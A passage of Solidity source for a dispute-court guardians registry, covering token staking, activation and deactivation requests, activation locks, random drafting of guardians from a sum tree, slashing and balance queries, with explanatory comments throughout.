Due to a gas optimization for drafting, the "active" tokens are stored in a `HexSumTree`, while the others * are stored in this contract as `lockedBalance` and `availableBalance` respectively. Given that the guardians' * active balances cannot be affected during the current Court term, if guardians want to deactivate some of * their active tokens, their balance will be updated for the following term, and they won't be allowed to * withdraw them until the current term has ended. * * Note that even though guardians balances are stored separately, all the balances are held by this contract. */ struct Guardian { uint256 id; // Key in the guardians tree used for drafting uint256 lockedBalance; // Maximum amount of tokens that can be slashed based on the guardian's drafts uint256 availableBalance; // Available tokens that can be withdrawn at any time uint64 withdrawalsLockTermId; // Term ID until which the guardian's withdrawals will be locked ActivationLocks activationLocks; // Guardian's activation locks DeactivationRequest deactivationRequest; // Guardian's pending deactivation request } /** * @dev Guardians can define lock managers to control their minimum active balance in the registry */ struct ActivationLocks { uint256 total; // Total amount of active balance locked mapping (address => uint256) lockedBy; // List of locked amounts indexed by lock manager } /** * @dev Given that the guardians balances cannot be affected during a Court term, if guardians want to deactivate some * of their tokens, the tree will always be updated for the following term, and they won't be able to * withdraw the requested amount until the current term has finished. Thus, we need to keep track the term * when a token deactivation was requested and its corresponding amount. */ struct DeactivationRequest { uint256 amount; // Amount requested for deactivation uint64 availableTermId; // Term ID when guardians can withdraw their requested deactivation tokens } /** * @dev Internal struct to wrap all the params required to perform guardians drafting */ struct DraftParams { bytes32 termRandomness; // Randomness seed to be used for the draft uint256 disputeId; // ID of the dispute being drafted uint64 termId; // Term ID of the dispute's draft term uint256 selectedGuardians; // Number of guardians already selected for the draft uint256 batchRequestedGuardians; // Number of guardians to be selected in the given batch of the draft uint256 roundRequestedGuardians; // Total number of guardians requested to be drafted uint256 draftLockAmount; // Amount of tokens to be locked to each drafted guardian uint256 iteration; // Sortition iteration number } // Maximum amount of total active balance that can be held in the registry uint256 public totalActiveBalanceLimit; // Guardian ERC20 token IERC20 public guardiansToken; // Mapping of guardian data indexed by address mapping (address => Guardian) internal guardiansByAddress; // Mapping of guardian addresses indexed by id mapping (uint256 => address) internal guardiansAddressById; // Tree to store guardians active balance by term for the drafting process HexSumTree.Tree internal tree; event Staked(address indexed guardian, uint256 amount, uint256 total); event Unstaked(address indexed guardian, uint256 amount, uint256 total); event GuardianActivated(address indexed guardian, uint64 fromTermId, uint256 amount); event GuardianDeactivationRequested(address indexed guardian, uint64 availableTermId, uint256 amount); event GuardianDeactivationProcessed(address indexed guardian, uint64 availableTermId, uint256 amount, uint64 processedTermId); event GuardianDeactivationUpdated(address indexed guardian, uint64 availableTermId, uint256 amount, uint64 updateTermId); event GuardianActivationLockChanged(address indexed guardian, address indexed lockManager, uint256 amount, uint256 total); event GuardianBalanceLocked(address indexed guardian, uint256 amount); event GuardianBalanceUnlocked(address indexed guardian, uint256 amount); event GuardianSlashed(address indexed guardian, uint256 amount, uint64 effectiveTermId); event GuardianTokensAssigned(address indexed guardian, uint256 amount); event GuardianTokensBurned(uint256 amount); event GuardianTokensCollected(address indexed guardian, uint256 amount, uint64 effectiveTermId); event TotalActiveBalanceLimitChanged(uint256 previousTotalActiveBalanceLimit, uint256 currentTotalActiveBalanceLimit); /** * @dev Constructor function * @param _controller Address of the controller * @param _guardiansToken Address of the ERC20 token to be used as guardian token for the registry * @param _totalActiveBalanceLimit Maximum amount of total active balance that can be held in the registry */ constructor(Controller _controller, IERC20 _guardiansToken, uint256 _totalActiveBalanceLimit) Controlled(_controller) public { require(isContract(address(_guardiansToken)), ERROR_NOT_CONTRACT); guardiansToken = _guardiansToken; _setTotalActiveBalanceLimit(_totalActiveBalanceLimit); tree.init(); // First tree item is an empty guardian assert(tree.insert(0, 0) == 0); } /** * @notice Stake `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian to stake tokens to * @param _amount Amount of tokens to be staked */ function stake(address _guardian, uint256 _amount) external { _stake(_guardian, _amount); } /** * @notice Unstake `@tokenAmount(self.token(), _amount)` from `_guardian` * @param _guardian Address of the guardian to unstake tokens from * @param _amount Amount of tokens to be unstaked */ function unstake(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _unstake(_guardian, _amount); } /** * @notice Activate `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian activating the tokens for * @param _amount Amount of guardian tokens to be activated for the next term */ function activate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _activate(_guardian, _amount); } /** * @notice Deactivate `_amount == 0 ? 'all unlocked tokens' : @tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian deactivating the tokens for * @param _amount Amount of guardian tokens to be deactivated for the next term */ function deactivate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _deactivate(_guardian, _amount); } /** * @notice Stake and activate `@tokenAmount(self.token(), _amount)` for `_guardian` * @param _guardian Address of the guardian staking and activating tokens for * @param _amount Amount of tokens to be staked and activated */ function stakeAndActivate(address _guardian, uint256 _amount) external authenticateSender(_guardian) { _stake(_guardian, _amount); _activate(_guardian, _amount); } /** * @notice Lock `@tokenAmount(self.token(), _amount)` of `_guardian`'s active balance * @param _guardian Address of the guardian locking the activation for * @param _lockManager Address of the lock manager that will control the lock * @param _amount Amount of active tokens to be locked */ function lockActivation(address _guardian, address _lockManager, uint256 _amount) external { // Make sure the sender is the guardian, someone allowed by the guardian, or the lock manager itself bool isLockManagerAllowed = msg.sender == _lockManager || _isSenderAllowed(_guardian); // Make sure that the given lock manager is allowed require(isLockManagerAllowed && _hasRole(_lockManager), ERROR_LOCK_MANAGER_NOT_ALLOWED); _lockActivation(_guardian, _lockManager, _amount); } /** * @notice Unlock `_amount == 0 ? 'all unlocked tokens' : @tokenAmount(self.token(), _amount)` of `_guardian`'s active balance * @param _guardian Address of the guardian unlocking the active balance of * @param _lockManager Address of the lock manager controlling the lock * @param _amount Amount of active tokens to be unlocked * @param _requestDeactivation Whether the unlocked amount must be requested for deactivation immediately */ function unlockActivation(address _guardian, address _lockManager, uint256 _amount, bool _requestDeactivation) external { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; uint256 lockedAmount = activationLocks.lockedBy[_lockManager]; require(lockedAmount > 0, ERROR_ZERO_LOCK_ACTIVATION); uint256 amountToUnlock = _amount == 0 ? lockedAmount : _amount; require(amountToUnlock <= lockedAmount, ERROR_INVALID_UNLOCK_ACTIVATION_AMOUNT); // Always allow the lock manager to unlock bool canUnlock = _lockManager == msg.sender || ILockManager(_lockManager).canUnlock(_guardian, amountToUnlock); require(canUnlock, ERROR_CANNOT_UNLOCK_ACTIVATION); uint256 newLockedAmount = lockedAmount.sub(amountToUnlock); uint256 newTotalLocked = activationLocks.total.sub(amountToUnlock); activationLocks.total = newTotalLocked; activationLocks.lockedBy[_lockManager] = newLockedAmount; emit GuardianActivationLockChanged(_guardian, _lockManager, newLockedAmount, newTotalLocked); // In order to request a deactivation, the request must have been originally authorized from the guardian or someone authorized to do it if (_requestDeactivation) { _authenticateSender(_guardian); _deactivate(_guardian, _amount); } } /** * @notice Process a token deactivation requested for `_guardian` if there is any * @param _guardian Address of the guardian to process the deactivation request of */ function processDeactivationRequest(address _guardian) external { uint64 termId = _ensureCurrentTerm(); _processDeactivationRequest(_guardian, termId); } /** * @notice Assign `@tokenAmount(self.token(), _amount)` to the available balance of `_guardian` * @param _guardian Guardian to add an amount of tokens to * @param _amount Amount of tokens to be added to the available balance of a guardian */ function assignTokens(address _guardian, uint256 _amount) external onlyActiveDisputeManager { if (_amount > 0) { _updateAvailableBalanceOf(_guardian, _amount, true); emit GuardianTokensAssigned(_guardian, _amount); } } /** * @notice Burn `@tokenAmount(self.token(), _amount)` * @param _amount Amount of tokens to be burned */ function burnTokens(uint256 _amount) external onlyActiveDisputeManager { if (_amount > 0) { _updateAvailableBalanceOf(BURN_ACCOUNT, _amount, true); emit GuardianTokensBurned(_amount); } } /** * @notice Draft a set of guardians based on given requirements for a term id * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return guardians List of guardians selected for the draft * @return length Size of the list of the draft result */ function draft(uint256[7] calldata _params) external onlyActiveDisputeManager returns (address[] memory guardians, uint256 length) { DraftParams memory draftParams = _buildDraftParams(_params); guardians = new address[](draftParams.batchRequestedGuardians); // Guardians returned by the tree multi-sortition may not have enough unlocked active balance to be drafted. Thus, // we compute several sortitions until all the requested guardians are selected. To guarantee a different set of // guardians on each sortition, the iteration number will be part of the random seed to be used in the sortition. // Note that we are capping the number of iterations to avoid an OOG error, which means that this function could // return less guardians than the requested number. for (draftParams.iteration = 0; length < draftParams.batchRequestedGuardians && draftParams.iteration < MAX_DRAFT_ITERATIONS; draftParams.iteration++ ) { (uint256[] memory guardianIds, uint256[] memory activeBalances) = _treeSearch(draftParams); for (uint256 i = 0; i < guardianIds.length && length < draftParams.batchRequestedGuardians; i++) { // We assume the selected guardians are registered in the registry, we are not checking their addresses exist address guardianAddress = guardiansAddressById[guardianIds[i]]; Guardian storage guardian = guardiansByAddress[guardianAddress]; // Compute new locked balance for a guardian based on the penalty applied when being drafted uint256 newLockedBalance = guardian.lockedBalance.add(draftParams.draftLockAmount); // Check if there is any deactivation requests for the next term. Drafts are always computed for the current term // but we have to make sure we are locking an amount that will exist in the next term. uint256 nextTermDeactivationRequestAmount = _deactivationRequestedAmountForTerm(guardian, draftParams.termId + 1); // Check if guardian has enough active tokens to lock the requested amount for the draft, skip it otherwise. uint256 currentActiveBalance = activeBalances[i]; if (currentActiveBalance >= newLockedBalance) { // Check if the amount of active tokens for the next term is enough to lock the required amount for // the draft. Otherwise, reduce the requested deactivation amount of the next term. // Next term deactivation amount should always be less than current active balance, but we make sure using SafeMath uint256 nextTermActiveBalance = currentActiveBalance.sub(nextTermDeactivationRequestAmount); if (nextTermActiveBalance < newLockedBalance) { // No need for SafeMath: we already checked values above _reduceDeactivationRequest(guardianAddress, newLockedBalance - nextTermActiveBalance, draftParams.termId); } // Update the current active locked balance of the guardian guardian.lockedBalance = newLockedBalance; guardians[length++] = guardianAddress; emit GuardianBalanceLocked(guardianAddress, draftParams.draftLockAmount); } } } } /** * @notice Slash a set of guardians based on their votes compared to the winning ruling. This function will unlock the * corresponding locked balances of those guardians that are set to be slashed. * @param _termId Current term id * @param _guardians List of guardian addresses to be slashed * @param _lockedAmounts List of amounts locked for each corresponding guardian that will be either slashed or returned * @param _rewardedGuardians List of booleans to tell whether a guardian's active balance has to be slashed or not * @return Total amount of slashed tokens */ function slashOrUnlock(uint64 _termId, address[] calldata _guardians, uint256[] calldata _lockedAmounts, bool[] calldata _rewardedGuardians) external onlyActiveDisputeManager returns (uint256) { require(_guardians.length == _lockedAmounts.length, ERROR_INVALID_LOCKED_AMOUNTS_LENGTH); require(_guardians.length == _rewardedGuardians.length, ERROR_INVALID_REWARDED_GUARDIANS_LENGTH); uint64 nextTermId = _termId + 1; uint256 collectedTokens; for (uint256 i = 0; i < _guardians.length; i++) { uint256 lockedAmount = _lockedAmounts[i]; address guardianAddress = _guardians[i]; Guardian storage guardian = guardiansByAddress[guardianAddress]; guardian.lockedBalance = guardian.lockedBalance.sub(lockedAmount); // Slash guardian if requested. Note that there's no need to check if there was a deactivation // request since we're working with already locked balances. if (_rewardedGuardians[i]) { emit GuardianBalanceUnlocked(guardianAddress, lockedAmount); } else { collectedTokens = collectedTokens.add(lockedAmount); tree.update(guardian.id, nextTermId, lockedAmount, false); emit GuardianSlashed(guardianAddress, lockedAmount, nextTermId); } } return collectedTokens; } /** * @notice Try to collect `@tokenAmount(self.token(), _amount)` from `_guardian` for the term #`_termId + 1`. * @dev This function tries to decrease the active balance of a guardian for the next term based on the requested * amount. It can be seen as a way to early-slash a guardian's active balance. * @param _guardian Guardian to collect the tokens from * @param _amount Amount of tokens to be collected from the given guardian and for the requested term id * @param _termId Current term id * @return True if the guardian has enough unlocked tokens to be collected for the requested term, false otherwise */ function collectTokens(address _guardian, uint256 _amount, uint64 _termId) external onlyActiveDisputeManager returns (bool) { if (_amount == 0) { return true; } uint64 nextTermId = _termId + 1; Guardian storage guardian = guardiansByAddress[_guardian]; uint256 unlockedActiveBalance = _lastUnlockedActiveBalanceOf(guardian); uint256 nextTermDeactivationRequestAmount = _deactivationRequestedAmountForTerm(guardian, nextTermId); // Check if the guardian has enough unlocked tokens to collect the requested amount // Note that we're also considering the deactivation request if there is any uint256 totalUnlockedActiveBalance = unlockedActiveBalance.add(nextTermDeactivationRequestAmount); if (_amount > totalUnlockedActiveBalance) { return false; } // Check if the amount of active tokens is enough to collect the requested amount, otherwise reduce the requested deactivation amount of // the next term. Note that this behaviour is different to the one when drafting guardians since this function is called as a side effect // of a guardian deliberately voting in a final round, while drafts occur randomly. if (_amount > unlockedActiveBalance) { // No need for SafeMath: amounts were already checked above uint256 amountToReduce = _amount - unlockedActiveBalance; _reduceDeactivationRequest(_guardian, amountToReduce, _termId); } tree.update(guardian.id, nextTermId, _amount, false); emit GuardianTokensCollected(_guardian, _amount, nextTermId); return true; } /** * @notice Lock `_guardian`'s withdrawals until term #`_termId` * @dev This is intended for guardians who voted in a final round and were coherent with the final ruling to prevent 51% attacks * @param _guardian Address of the guardian to be locked * @param _termId Term ID until which the guardian's withdrawals will be locked */ function lockWithdrawals(address _guardian, uint64 _termId) external onlyActiveDisputeManager { Guardian storage guardian = guardiansByAddress[_guardian]; guardian.withdrawalsLockTermId = _termId; } /** * @notice Set new limit of total active balance of guardian tokens * @param _totalActiveBalanceLimit New limit of total active balance of guardian tokens */ function setTotalActiveBalanceLimit(uint256 _totalActiveBalanceLimit) external onlyConfigGovernor { _setTotalActiveBalanceLimit(_totalActiveBalanceLimit); } /** * @dev Tell the total supply of guardian tokens staked * @return Supply of guardian tokens staked */ function totalSupply() external view returns (uint256) { return guardiansToken.balanceOf(address(this)); } /** * @dev Tell the total amount of active guardian tokens * @return Total amount of active guardian tokens */ function totalActiveBalance() external view returns (uint256) { return tree.getTotal(); } /** * @dev Tell the total amount of active guardian tokens for a given term id * @param _termId Term ID to query on * @return Total amount of active guardian tokens at the given term id */ function totalActiveBalanceAt(uint64 _termId) external view returns (uint256) { return _totalActiveBalanceAt(_termId); } /** * @dev Tell the total balance of tokens held by a guardian * This includes the active balance, the available balances, and the pending balance for deactivation. * Note that we don't have to include the locked balances since these represent the amount of active tokens * that are locked for drafts, i.e. these are already included in the active balance of the guardian. * @param _guardian Address of the guardian querying the balance of * @return Total amount of tokens of a guardian */ function balanceOf(address _guardian) external view returns (uint256) { return _balanceOf(_guardian); } /** * @dev Tell the detailed balance information of a guardian * @param _guardian Address of the guardian querying the detailed balance information of * @return active Amount of active tokens of a guardian * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function detailedBalanceOf(address _guardian) external view returns (uint256 active, uint256 available, uint256 locked, uint256 pendingDeactivation) { return _detailedBalanceOf(_guardian); } /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID to query on * @return Amount of active tokens for guardian in the requested past term id */ function activeBalanceOfAt(address _guardian, uint64 _termId) external view returns (uint256) { return _activeBalanceOfAt(_guardian, _termId); } /** * @dev Tell the amount of active tokens of a guardian at the last ensured term that are not locked due to ongoing disputes * @param _guardian Address of the guardian querying the unlocked balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function unlockedActiveBalanceOf(address _guardian) external view returns (uint256) { Guardian storage guardian = guardiansByAddress[_guardian]; return _currentUnlockedActiveBalanceOf(guardian); } /** * @dev Tell the pending deactivation details for a guardian * @param _guardian Address of the guardian whose info is requested * @return amount Amount to be deactivated * @return availableTermId Term in which the deactivated amount will be available */ function getDeactivationRequest(address _guardian) external view returns (uint256 amount, uint64 availableTermId) { DeactivationRequest storage request = guardiansByAddress[_guardian].deactivationRequest; return (request.amount, request.availableTermId); } /** * @dev Tell the activation amount locked for a guardian by a lock manager * @param _guardian Address of the guardian whose info is requested * @param _lockManager Address of the lock manager querying the lock of * @return amount Activation amount locked by the lock manager * @return total Total activation amount locked for the guardian */ function getActivationLock(address _guardian, address _lockManager) external view returns (uint256 amount, uint256 total) { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; total = activationLocks.total; amount = activationLocks.lockedBy[_lockManager]; } /** * @dev Tell the withdrawals lock term ID for a guardian * @param _guardian Address of the guardian whose info is requested * @return Term ID until which the guardian's withdrawals will be locked */ function getWithdrawalsLockTermId(address _guardian) external view returns (uint64) { return guardiansByAddress[_guardian].withdrawalsLockTermId; } /** * @dev Tell the identification number associated to a guardian address * @param _guardian Address of the guardian querying the identification number of * @return Identification number associated to a guardian address, zero in case it wasn't registered yet */ function getGuardianId(address _guardian) external view returns (uint256) { return guardiansByAddress[_guardian].id; } /** * @dev Internal function to activate a given amount of tokens for a guardian. * This function assumes that the given term is the current term and has already been ensured. * @param _guardian Address of the guardian to activate tokens * @param _amount Amount of guardian tokens to be activated */ function _activate(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); // Try to clean a previous deactivation request if any _processDeactivationRequest(_guardian, termId); uint256 availableBalance = guardiansByAddress[_guardian].availableBalance; uint256 amountToActivate = _amount == 0 ? availableBalance : _amount; require(amountToActivate > 0, ERROR_INVALID_ZERO_AMOUNT); require(amountToActivate <= availableBalance, ERROR_INVALID_ACTIVATION_AMOUNT); uint64 nextTermId = termId + 1; _checkTotalActiveBalance(nextTermId, amountToActivate); Guardian storage guardian = guardiansByAddress[_guardian]; uint256 minActiveBalance = _getMinActiveBalance(nextTermId); if (_existsGuardian(guardian)) { // Even though we are adding amounts, let's check the new active balance is greater than or equal to the // minimum active amount. Note that the guardian might have been slashed. uint256 activeBalance = tree.getItem(guardian.id); require(activeBalance.add(amountToActivate) >= minActiveBalance, ERROR_ACTIVE_BALANCE_BELOW_MIN); tree.update(guardian.id, nextTermId, amountToActivate, true); } else { require(amountToActivate >= minActiveBalance, ERROR_ACTIVE_BALANCE_BELOW_MIN); guardian.id = tree.insert(nextTermId, amountToActivate); guardiansAddressById[guardian.id] = _guardian; } _updateAvailableBalanceOf(_guardian, amountToActivate, false); emit GuardianActivated(_guardian, nextTermId, amountToActivate); } /** * @dev Internal function to deactivate a given amount of tokens for a guardian. * @param _guardian Address of the guardian to deactivate tokens * @param _amount Amount of guardian tokens to be deactivated for the next term */ function _deactivate(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); Guardian storage guardian = guardiansByAddress[_guardian]; uint256 unlockedActiveBalance = _lastUnlockedActiveBalanceOf(guardian); uint256 amountToDeactivate = _amount == 0 ? unlockedActiveBalance : _amount; require(amountToDeactivate > 0, ERROR_INVALID_ZERO_AMOUNT); require(amountToDeactivate <= unlockedActiveBalance, ERROR_INVALID_DEACTIVATION_AMOUNT); // Check future balance is not below the total activation lock of the guardian // No need for SafeMath: we already checked values above uint256 futureActiveBalance = unlockedActiveBalance - amountToDeactivate; uint256 totalActivationLock = guardian.activationLocks.total; require(futureActiveBalance >= totalActivationLock, ERROR_DEACTIVATION_AMOUNT_EXCEEDS_LOCK); // Check that the guardian is leaving or that the minimum active balance is met uint256 minActiveBalance = _getMinActiveBalance(termId); require(futureActiveBalance == 0 || futureActiveBalance >= minActiveBalance, ERROR_INVALID_DEACTIVATION_AMOUNT); _createDeactivationRequest(_guardian, amountToDeactivate); } /** * @dev Internal function to create a token deactivation request for a guardian. Guardians will be allowed * to process a deactivation request from the next term. * @param _guardian Address of the guardian to create a token deactivation request for * @param _amount Amount of guardian tokens requested for deactivation */ function _createDeactivationRequest(address _guardian, uint256 _amount) internal { uint64 termId = _ensureCurrentTerm(); // Try to clean a previous deactivation request if possible _processDeactivationRequest(_guardian, termId); uint64 nextTermId = termId + 1; Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; request.amount = request.amount.add(_amount); request.availableTermId = nextTermId; tree.update(guardian.id, nextTermId, _amount, false); emit GuardianDeactivationRequested(_guardian, nextTermId, _amount); } /** * @dev Internal function to process a token deactivation requested by a guardian. It will move the requested amount * to the available balance of the guardian if the term when the deactivation was requested has already finished. * @param _guardian Address of the guardian to process the deactivation request of * @param _termId Current term id */ function _processDeactivationRequest(address _guardian, uint64 _termId) internal { Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; uint64 deactivationAvailableTermId = request.availableTermId; // If there is a deactivation request, ensure that the deactivation term has been reached if (deactivationAvailableTermId == uint64(0) || _termId < deactivationAvailableTermId) { return; } uint256 deactivationAmount = request.amount; // Note that we can use a zeroed term ID to denote void here since we are storing // the minimum allowed term to deactivate tokens which will always be at least 1. request.availableTermId = uint64(0); request.amount = 0; _updateAvailableBalanceOf(_guardian, deactivationAmount, true); emit GuardianDeactivationProcessed(_guardian, deactivationAvailableTermId, deactivationAmount, _termId); } /** * @dev Internal function to reduce a token deactivation requested by a guardian. It assumes the deactivation request * cannot be processed for the given term yet. * @param _guardian Address of the guardian to reduce the deactivation request of * @param _amount Amount to be reduced from the current deactivation request * @param _termId Term ID in which the deactivation request is being reduced */ function _reduceDeactivationRequest(address _guardian, uint256 _amount, uint64 _termId) internal { Guardian storage guardian = guardiansByAddress[_guardian]; DeactivationRequest storage request = guardian.deactivationRequest; uint256 currentRequestAmount = request.amount; require(currentRequestAmount >= _amount, ERROR_CANNOT_REDUCE_DEACTIVATION_REQUEST); // No need for SafeMath: we already checked values above uint256 newRequestAmount = currentRequestAmount - _amount; request.amount = newRequestAmount; // Move amount back to the tree tree.update(guardian.id, _termId + 1, _amount, true); emit GuardianDeactivationUpdated(_guardian, request.availableTermId, newRequestAmount, _termId); } /** * @dev Internal function to update the activation locked amount of a guardian * @param _guardian Guardian to update the activation locked amount of * @param _lockManager Address of the lock manager controlling the lock * @param _amount Amount of tokens to be added to the activation locked amount of the guardian */ function _lockActivation(address _guardian, address _lockManager, uint256 _amount) internal { ActivationLocks storage activationLocks = guardiansByAddress[_guardian].activationLocks; uint256 newTotalLocked = activationLocks.total.add(_amount); uint256 newLockedAmount = activationLocks.lockedBy[_lockManager].add(_amount); activationLocks.total = newTotalLocked; activationLocks.lockedBy[_lockManager] = newLockedAmount; emit GuardianActivationLockChanged(_guardian, _lockManager, newLockedAmount, newTotalLocked); } /** * @dev Internal function to stake an amount of tokens for a guardian * @param _guardian Address of the guardian to deposit the tokens to * @param _amount Amount of tokens to be deposited */ function _stake(address _guardian, uint256 _amount) internal { require(_amount > 0, ERROR_INVALID_ZERO_AMOUNT); _updateAvailableBalanceOf(_guardian, _amount, true); emit Staked(_guardian, _amount, _balanceOf(_guardian)); require(guardiansToken.safeTransferFrom(msg.sender, address(this), _amount), ERROR_TOKEN_TRANSFER_FAILED); } /** * @dev Internal function to unstake an amount of tokens of a guardian * @param _guardian Address of the guardian to to unstake the tokens of * @param _amount Amount of tokens to be unstaked */ function _unstake(address _guardian, uint256 _amount) internal { require(_amount > 0, ERROR_INVALID_ZERO_AMOUNT); // Try to process a deactivation request for the current term if there is one. Note that we don't need to ensure // the current term this time since deactivation requests always work with future terms, which means that if // the current term is outdated, it will never match the deactivation term id. We avoid ensuring the term here // to avoid forcing guardians to do that in order to withdraw their available balance. Same applies to final round locks. uint64 lastEnsuredTermId = _getLastEnsuredTermId(); // Check that guardian's withdrawals are not locked uint64 withdrawalsLockTermId = guardiansByAddress[_guardian].withdrawalsLockTermId; require(withdrawalsLockTermId == 0 || withdrawalsLockTermId < lastEnsuredTermId, ERROR_WITHDRAWALS_LOCK); _processDeactivationRequest(_guardian, lastEnsuredTermId); _updateAvailableBalanceOf(_guardian, _amount, false); emit Unstaked(_guardian, _amount, _balanceOf(_guardian)); require(guardiansToken.safeTransfer(_guardian, _amount), ERROR_TOKEN_TRANSFER_FAILED); } /** * @dev Internal function to update the available balance of a guardian * @param _guardian Guardian to update the available balance of * @param _amount Amount of tokens to be added to or removed from the available balance of a guardian * @param _positive True if the given amount should be added, or false to remove it from the available balance */ function _updateAvailableBalanceOf(address _guardian, uint256 _amount, bool _positive) internal { // We are not using a require here to avoid reverting in case any of the treasury maths reaches this point // with a zeroed amount value. Instead, we are doing this validation in the external entry points such as // stake, unstake, activate, deactivate, among others. if (_amount == 0) { return; } Guardian storage guardian = guardiansByAddress[_guardian]; if (_positive) { guardian.availableBalance = guardian.availableBalance.add(_amount); } else { require(_amount <= guardian.availableBalance, ERROR_NOT_ENOUGH_AVAILABLE_BALANCE); // No need for SafeMath: we already checked values right above guardian.availableBalance -= _amount; } } /** * @dev Internal function to set new limit of total active balance of guardian tokens * @param _totalActiveBalanceLimit New limit of total active balance of guardian tokens */ function _setTotalActiveBalanceLimit(uint256 _totalActiveBalanceLimit) internal { require(_totalActiveBalanceLimit > 0, ERROR_BAD_TOTAL_ACTIVE_BALANCE_LIMIT); emit TotalActiveBalanceLimitChanged(totalActiveBalanceLimit, _totalActiveBalanceLimit); totalActiveBalanceLimit = _totalActiveBalanceLimit; } /** * @dev Internal function to tell the total balance of tokens held by a guardian * @param _guardian Address of the guardian querying the total balance of * @return Total amount of tokens of a guardian */ function _balanceOf(address _guardian) internal view returns (uint256) { (uint256 active, uint256 available, , uint256 pendingDeactivation) = _detailedBalanceOf(_guardian); return available.add(active).add(pendingDeactivation); } /** * @dev Internal function to tell the detailed balance information of a guardian * @param _guardian Address of the guardian querying the balance information of * @return active Amount of active tokens of a guardian * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function _detailedBalanceOf(address _guardian) internal view returns (uint256 active, uint256 available, uint256 locked, uint256 pendingDeactivation) { Guardian storage guardian = guardiansByAddress[_guardian]; active = _existsGuardian(guardian) ? tree.getItem(guardian.id) : 0; (available, locked, pendingDeactivation) = _getBalances(guardian); } /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID querying the active balance for * @return Amount of active tokens for guardian in the requested past term id */ function _activeBalanceOfAt(address _guardian, uint64 _termId) internal view returns (uint256) { Guardian storage guardian = guardiansByAddress[_guardian]; return _existsGuardian(guardian) ? tree.getItemAt(guardian.id, _termId) : 0; } /** * @dev Internal function to get the amount of active tokens of a guardian that are not locked due to ongoing disputes * It will use the last value, that might be in a future term * @param _guardian Guardian querying the unlocked active balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function _lastUnlockedActiveBalanceOf(Guardian storage _guardian) internal view returns (uint256) { return _existsGuardian(_guardian) ? tree.getItem(_guardian.id).sub(_guardian.lockedBalance) : 0; } /** * @dev Internal function to get the amount of active tokens at the last ensured term of a guardian that are not locked due to ongoing disputes * @param _guardian Guardian querying the unlocked active balance of * @return Amount of active tokens of a guardian that are not locked due to ongoing disputes */ function _currentUnlockedActiveBalanceOf(Guardian storage _guardian) internal view returns (uint256) { uint64 lastEnsuredTermId = _getLastEnsuredTermId(); return _existsGuardian(_guardian) ? tree.getItemAt(_guardian.id, lastEnsuredTermId).sub(_guardian.lockedBalance) : 0; } /** * @dev Internal function to check if a guardian was already registered * @param _guardian Guardian to be checked * @return True if the given guardian was already registered, false otherwise */ function _existsGuardian(Guardian storage _guardian) internal view returns (bool) { return _guardian.id != 0; } /** * @dev Internal function to get the amount of a deactivation request for a given term id * @param _guardian Guardian to query the deactivation request amount of * @param _termId Term ID of the deactivation request to be queried * @return Amount of the deactivation request for the given term, 0 otherwise */ function _deactivationRequestedAmountForTerm(Guardian storage _guardian, uint64 _termId) internal view returns (uint256) { DeactivationRequest storage request = _guardian.deactivationRequest; return request.availableTermId == _termId ? request.amount : 0; } /** * @dev Internal function to tell the total amount of active guardian tokens at the given term id * @param _termId Term ID querying the total active balance for * @return Total amount of active guardian tokens at the given term id */ function _totalActiveBalanceAt(uint64 _termId) internal view returns (uint256) { // This function will return always the same values, the only difference remains on gas costs. In case we look for a // recent term, in this case current or future ones, we perform a backwards linear search from the last checkpoint. // Otherwise, a binary search is computed. bool recent = _termId >= _getLastEnsuredTermId(); return recent ? tree.getRecentTotalAt(_termId) : tree.getTotalAt(_termId); } /** * @dev Internal function to check if its possible to add a given new amount to the registry or not * @param _termId Term ID when the new amount will be added * @param _amount Amount of tokens willing to be added to the registry */ function _checkTotalActiveBalance(uint64 _termId, uint256 _amount) internal view { uint256 currentTotalActiveBalance = _totalActiveBalanceAt(_termId); uint256 newTotalActiveBalance = currentTotalActiveBalance.add(_amount); require(newTotalActiveBalance <= totalActiveBalanceLimit, ERROR_TOTAL_ACTIVE_BALANCE_EXCEEDED); } /** * @dev Tell the local balance information of a guardian (that is not on the tree) * @param _guardian Address of the guardian querying the balance information of * @return available Amount of available tokens of a guardian * @return locked Amount of active tokens that are locked due to ongoing disputes * @return pendingDeactivation Amount of active tokens that were requested for deactivation */ function _getBalances(Guardian storage _guardian) internal view returns (uint256 available, uint256 locked, uint256 pendingDeactivation) { available = _guardian.availableBalance; locked = _guardian.lockedBalance; pendingDeactivation = _guardian.deactivationRequest.amount; } /** * @dev Internal function to search guardians in the tree based on certain search restrictions * @param _params Draft params to be used for the guardians search * @return ids List of guardian ids obtained based on the requested search * @return activeBalances List of active balances for each guardian obtained based on the requested search */ function _treeSearch(DraftParams memory _params) internal view returns (uint256[] memory ids, uint256[] memory activeBalances) { (ids, activeBalances) = tree.batchedRandomSearch( _params.termRandomness, _params.disputeId, _params.termId, _params.selectedGuardians, _params.batchRequestedGuardians, _params.roundRequestedGuardians, _params.iteration ); } /** * @dev Private function to parse a certain set given of draft params * @param _params Array containing draft requirements: * 0. bytes32 